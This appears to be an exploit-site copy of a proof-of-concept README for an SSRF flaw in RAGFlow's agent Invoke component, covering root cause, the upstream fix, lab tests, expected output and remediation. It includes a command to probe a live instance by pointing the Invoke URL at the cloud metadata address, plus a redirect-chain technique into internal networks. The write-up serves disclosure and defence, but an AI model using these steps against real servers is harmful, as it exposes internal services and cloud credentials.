## https://sploitus.com/exploit?id=0F12A135-B7F3-53D1-A985-FBC0FB786B9F
# CVE-2026-75898 β RAGFlow Invoke component SSRF
Server-Side Request Forgery (CWE-918) in RAGFlow's agent workflow "Invoke"
component, **before 0.26.3**.
| | |
|---|---|
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Fixed in | v0.26.3 |
| Fix commits | [`c4fe68e`](https://github.com/infiniflow/ragflow/commit/c4fe68eaa0bf1d6442d2cd6ac2e35bc9ccbed34f), [`e16d1a0`](https://github.com/infiniflow/ragflow/commit/e16d1a0150e1ca069beb538ae3dcd03f59edc5fa) |
| Issue refs | [infiniflow/ragflow#15425](https://github.com/infiniflow/ragflow/issues/15425), [#18280](https://github.com/infiniflow/ragflow/issues/18280) |
| Advisory | [VulnCheck](https://www.vulncheck.com/advisories/ragflow-server-side-request-forgery-via-agent-invoke-component) |
## Root cause
In `agent/component/invoke.py` of v0.26.2 the `Invoke` component constructs the
request URL from user-supplied variable templates and performs **no validation**
of the resolved host:
```python
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
```
This URL reaches `requests.get/post/put` in `_send_request()`. Because
`allow_redirects` is left as the requests default (`True`), an attacker can:
1. set the Invoke `url` to an internal address (`127.0.0.1`, `169.254.169.254`,
RFC1918 ranges, resolved-host pinning does not exist), or
2. point it at an attacker host that 302-redirects into the internal network.
The fix adds `assert_url_is_safe()` + `pin_dns()` and forces
`allow_redirects=False`.
## Genuine source, not a re-implementation
Unlike "looks-like" re-implementations, this repo runs the **unmodified
v0.26.2 source** of the vulnerable component:
* `target/invoke_v0.26.2.py` β byte-for-byte `agent/component/invoke.py`
from the `v0.26.2` tag.
* `e2e/test_genuine_ssrf.py` β loads that real file behind thin import stubs
(the stub replaces only unrelated imports: `ComponentBase`, the `timeout`
decorator and `HtmlParser` β **none of the SSRF-path logic is touched**) and
proves the component reaches an internal service directly and via a redirect
chain.
* `e2e/test_fix_guard.py` β applies the upstream guard (`assert_url_is_safe`,
`allow_redirects=False`) on the very same file and shows the requests are
blocked.
## Reproducibility
Validated in three independent ways:
1. **Repo-local E2E** (no RAGFlow install): `e2e/test_genuine_ssrf.py` drives
the unmodified `target/invoke_v0.26.2.py` source against loopback lab
servers β SSRF confirmed.
2. **Fix comparison**: `e2e/test_fix_guard.py` applies the upstream guard to
the same file β blocked.
3. **Full Docker instance**: RAGFlow `v0.26.2` (infinity+mysql+minio+valkey)
via `docker compose`; an Invoke node in a real agent flow fetched
``INTERNAL-DB-SECRET:dbpassword=SuperSecret123`` from an internal host port.
See [`LAB_DEMO.md`](LAB_DEMO.md) for the verbatim evidence.
## Run the local E2E
```bash
cd e2e
python3 test_genuine_ssrf.py # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py # must print BLOCKED (fixed behavior)
```
### Expected output (vulnerable)
```
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
```
## Check a live RAGFlow instance
Requires an authenticated session token (Invoke runs inside an agent flow).
```bash
python3 poc.py --poc # local E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
```
## Detection / remediation
* Upgrade to RAGFlow **β₯ 0.26.3**.
* Restrict the agent `Invoke` node URL templates to an allowlist.
* Egress-filter internal/cloud metadata ranges from the RAGFlow backend.
## Disclosure
Fixed in RAGFlow v0.26.3 (Aug 2026). This PoC was independently reconstructed
from the public advisory and fix commits for authorized security testing and
education only. Not affiliated with InfiniFlow.